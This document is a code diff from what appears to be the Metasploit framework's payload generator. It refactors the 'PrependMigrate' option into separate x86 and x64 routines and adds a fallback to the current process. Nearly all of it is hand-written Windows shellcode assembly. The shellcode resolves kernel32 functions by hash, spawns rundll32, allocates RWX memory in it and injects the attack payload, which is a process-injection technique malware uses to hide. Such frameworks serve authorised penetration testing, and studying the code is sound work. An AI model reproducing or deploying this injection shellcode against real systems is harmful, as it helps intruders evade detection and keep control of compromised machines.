@@ -75,14 +75,32 @@ def generate(*args)
75
75
if test_arch . include? ( ARCH_X86 )
76
76
# PrependMigrate
77
77
if datastore [ 'PrependMigrate' ] and datastore [ 'PrependMigrate' ] . to_s . downcase == 'true'
78
- payloadsize = "0x%04x" % buf . length
79
- procname = datastore [ 'PrependMigrateProc' ] || 'rundll32'
78
+ migrate_asm = prepend_migrate ( buf )
79
+ pre << Metasm ::Shellcode . assemble ( Metasm ::Ia32 . new , migrate_asm ) . encode_string
80
+ end
81
+ # Handle all x64 code here
82
+ elsif test_arch . include? ( ARCH_X86_64 ) or test_arch . include? ( ARCH_X64 )
83
+ # PrependMigrate
84
+ if datastore [ 'PrependMigrate' ] and datastore [ 'PrependMigrate' ] . to_s . downcase == 'true'
85
+ migrate_asm = prepend_migrate_64 ( buf )
86
+ pre << Metasm ::Shellcode . assemble ( Metasm ::X64 . new , migrate_asm ) . encode_string
87
+ end
88
+ end
89
+ return ( pre + buf )
90
+ end
91
+
92
+ #
93
+ # Create assembly
94
+ #
95
+ def prepend_migrate ( buf )
96
+ payloadsize = "0x%04x" % buf . length
97
+ procname = datastore [ 'PrependMigrateProc' ] || 'rundll32'
80
98
81
- # Prepare instructions to get address of block_api into ebp
82
- block_api_start = <<EOS
99
+ # Prepare instructions to get address of block_api into ebp
100
+ block_api_start = <<EOS
83
101
call start
84
102
EOS
85
- block_api_asm = <<EOS
103
+ block_api_asm = <<EOS
86
104
api_call:
87
105
pushad ; We preserve all the registers for the caller, bar EAX and ECX.
88
106
mov ebp, esp ; Create a new stack frame
@@ -166,57 +184,55 @@ def generate(*args)
166
184
jmp.i8 next_mod ; Process this module
167
185
;--------------------------------------------------------------------------------------
168
186
EOS
169
- block_api_ebp_asm = <<EOS
187
+ block_api_ebp_asm = <<EOS
170
188
pop ebp ; Pop off the address of 'api_call' for calling later.
171
189
EOS
172
- block_close_to_payload = ''
190
+ block_close_to_payload = ''
173
191
174
- # Check if we can find block_api in the payload
175
- block_api = Metasm ::Shellcode . assemble ( Metasm ::Ia32 . new , block_api_asm ) . encode_string
176
- block_api_index = buf . index ( block_api )
177
- if block_api_index
192
+ # Check if we can find block_api in the payload
193
+ block_api = Metasm ::Shellcode . assemble ( Metasm ::Ia32 . new , block_api_asm ) . encode_string
194
+ block_api_index = buf . index ( block_api )
195
+ if block_api_index
178
196
179
- # Prepare instructions to calculate address
180
- ebp_offset = "0x%04x" % ( block_api_index + 5 )
181
- block_api_ebp_asm = <<EOS
197
+ # Prepare instructions to calculate address
198
+ ebp_offset = "0x%04x" % ( block_api_index + 5 )
199
+ block_api_ebp_asm = <<EOS
182
200
jmp close_to_payload
183
201
return_from_close_to_payload:
184
202
pop ebp
185
203
add ebp, #{ ebp_offset }
186
204
EOS
187
- # Clear now-unneeded instructions
188
- block_api_asm = ''
189
- block_api_start = ''
190
- block_close_to_payload = <<EOS
205
+ # Clear now-unneeded instructions
206
+ block_api_asm = ''
207
+ block_api_start = ''
208
+ block_close_to_payload = <<EOS
191
209
close_to_payload:
192
210
call return_from_close_to_payload
193
211
EOS
194
- end
212
+ end
195
213
196
- #put all pieces together
197
- migrate_asm = <<EOS
214
+ #put all pieces together
215
+ migrate_asm = <<EOS
198
216
cld ; Clear the direction flag.
199
217
#{ block_api_start }
200
218
#{ block_api_asm }
201
219
start:
202
220
#{ block_api_ebp_asm }
203
221
; get our own startupinfo at esp+0x60
204
222
add esp,-400 ; adjust the stack to avoid corruption
205
- mov edx,esp
206
- add edx,0x60
223
+ lea edx,[esp+0x60]
207
224
push edx
208
225
push 0xB16B4AB1 ; hash( "kernel32.dll", "GetStartupInfoA" )
209
226
call ebp ; GetStartupInfoA( &si );
210
227
211
- ; ptr to startupinfo is in eax
212
- ; pointer to string is in ecx
228
+ lea eax,[esp+0x60] ; Put startupinfo pointer back in eax
229
+
213
230
jmp getcommand
214
231
gotcommand:
215
232
pop esi ; esi = address of process name (command line)
216
233
217
234
; create the process
218
- mov edi,eax
219
- add edi,0x60 ; Offset of empty space for lpProcessInformation
235
+ lea edi,[eax+0x60] ; Offset of empty space for lpProcessInformation
220
236
push edi ; lpProcessInformation : write processinfo here
221
237
push eax ; lpStartupInfo : current info (read)
222
238
xor ebx,ebx
@@ -232,6 +248,13 @@ def generate(*args)
232
248
push 0x863FCC79 ; hash( "kernel32.dll", "CreateProcessA" )
233
249
call ebp ; CreateProcessA( &si );
234
250
251
+ ; if we didn't get a new process, use this one
252
+ test eax,eax
253
+ jnz goodProcess ; Skip this next block if we got a new process
254
+ dec eax
255
+ mov [edi], eax ; handle = NtCurrentProcess()
256
+
257
+ goodProcess:
235
258
; allocate memory in the process (VirtualAllocEx())
236
259
; get handle
237
260
push 0x40 ; RWX
@@ -281,21 +304,19 @@ def generate(*args)
281
304
begin_of_payload:
282
305
call begin_of_payload_return
283
306
EOS
307
+ migrate_asm
308
+ end
284
309
285
- pre << Metasm ::Shellcode . assemble ( Metasm ::Ia32 . new , migrate_asm ) . encode_string
286
- end
287
- # Handle all x64 code here
288
- elsif test_arch . include? ( ARCH_X86_64 ) or test_arch . include? ( ARCH_X64 )
289
- # PrependMigrate
290
- if datastore [ 'PrependMigrate' ] and datastore [ 'PrependMigrate' ] . to_s . downcase == 'true'
291
- payloadsize = "0x%04x" % buf . length
292
- procname = datastore [ 'PrependMigrateProc' ] || 'rundll32'
293
310
294
- # Prepare instructions to get address of block_api into ebp
295
- block_api_start = <<EOS
311
+ def prepend_migrate_64 ( buf )
312
+ payloadsize = "0x%04x" % buf . length
313
+ procname = datastore [ 'PrependMigrateProc' ] || 'rundll32'
314
+
315
+ # Prepare instructions to get address of block_api into ebp
316
+ block_api_start = <<EOS
296
317
call start
297
318
EOS
298
- block_api_asm = <<EOS
319
+ block_api_asm = <<EOS
299
320
api_call:
300
321
push r9 ; Save the 4th parameter
301
322
push r8 ; Save the 3rd parameter
@@ -385,59 +406,54 @@ def generate(*args)
385
406
mov rdx, [rdx] ; Get the next module
386
407
jmp next_mod ; Process this module
387
408
EOS
388
- block_api_rbp_asm = <<EOS
409
+ block_api_rbp_asm = <<EOS
389
410
pop rbp ; Pop off the address of 'api_call' for calling later.
390
411
EOS
391
- block_close_to_payload = ''
412
+ block_close_to_payload = ''
392
413
393
- # Check if we can find block_api in the payload
394
- block_api = Metasm ::Shellcode . assemble ( Metasm ::X64 . new , block_api_asm ) . encode_string
395
- block_api_index = buf . index ( block_api )
396
- if block_api_index
414
+ # Check if we can find block_api in the payload
415
+ block_api = Metasm ::Shellcode . assemble ( Metasm ::X64 . new , block_api_asm ) . encode_string
416
+ block_api_index = buf . index ( block_api )
417
+ if block_api_index
397
418
398
- # Prepare instructions to calculate address
399
- rbp_offset = "0x%04x" % ( block_api_index + 5 )
400
- block_api_rbp_asm = <<EOS
419
+ # Prepare instructions to calculate address
420
+ rbp_offset = "0x%04x" % ( block_api_index + 5 )
421
+ block_api_rbp_asm = <<EOS
401
422
jmp close_to_payload
402
423
return_from_close_to_payload:
403
424
pop rbp
404
425
add rbp, #{ rbp_offset }
405
426
EOS
406
- # Clear now-unneeded instructions
407
- block_api_asm = ''
408
- block_api_start = ''
409
- block_close_to_payload = <<EOS
427
+ # Clear now-unneeded instructions
428
+ block_api_asm = ''
429
+ block_api_start = ''
430
+ block_close_to_payload = <<EOS
410
431
close_to_payload:
411
432
call return_from_close_to_payload
412
433
EOS
413
- end
434
+ end
414
435
415
- #put all pieces together
416
- migrate_asm = <<EOS
436
+ #put all pieces together
437
+ migrate_asm = <<EOS
417
438
cld ; Clear the direction flag.
418
439
#{ block_api_start }
419
440
#{ block_api_asm }
420
441
start:
421
442
#{ block_api_rbp_asm }
422
443
; get our own startupinfo at esp+0x60
423
444
add rsp,-400 ; adjust the stack to avoid corruption
424
- mov rcx,rsp
425
- add rcx,0x30
445
+ lea rcx,[rsp+0x30]
426
446
mov r10d, 0xB16B4AB1 ; hash( "kernel32.dll", "GetStartupInfoA" )
427
447
call rbp ; GetStartupInfoA( &si );
428
448
429
- ; ptr to startupinfo is in rax
430
- ; pointer to string is in rcx
431
449
jmp getcommand
432
450
gotcommand:
433
451
pop rsi ; rsi = address of process name (command line)
434
452
435
453
; create the process
436
- mov rdi,rsp ; get rsp again
437
- add rdi,0x110 ; Offset of empty space for lpProcessInformation
454
+ lea rdi,[rsp+0x110] ; Offset of empty space for lpProcessInformation
438
455
push rdi ; lpProcessInformation : write processinfo here
439
- mov rcx,rsp
440
- add rcx,0x58
456
+ lea rcx,[rsp+0x58]
441
457
push rcx ; lpStartupInfo : current info (read)
442
458
xor rcx,rcx
443
459
push rcx ; lpCurrentDirectory
@@ -451,6 +467,13 @@ def generate(*args)
451
467
mov r10d, 0x863FCC79 ; hash( "kernel32.dll", "CreateProcessA" )
452
468
call rbp ; CreateProcessA( &si );
453
469
470
+ ; if we didn't get a new process, use this one
471
+ test rax,rax
472
+ jnz goodProcess ; Skip this next block if we got a new process
473
+ dec rax
474
+ mov [rdi], rax ; handle = NtCurrentProcess()
475
+
476
+ goodProcess:
454
477
; allocate memory in the process (VirtualAllocEx())
455
478
; get handle
456
479
push 0x40 ; RWX
@@ -501,11 +524,7 @@ def generate(*args)
501
524
begin_of_payload:
502
525
call begin_of_payload_return
503
526
EOS
504
-
505
- pre << Metasm ::Shellcode . assemble ( Metasm ::X64 . new , migrate_asm ) . encode_string
506
- end
507
- end
508
- return ( pre + buf )
527
+ migrate_asm
509
528
end
510
529
511
530
#
0 commit comments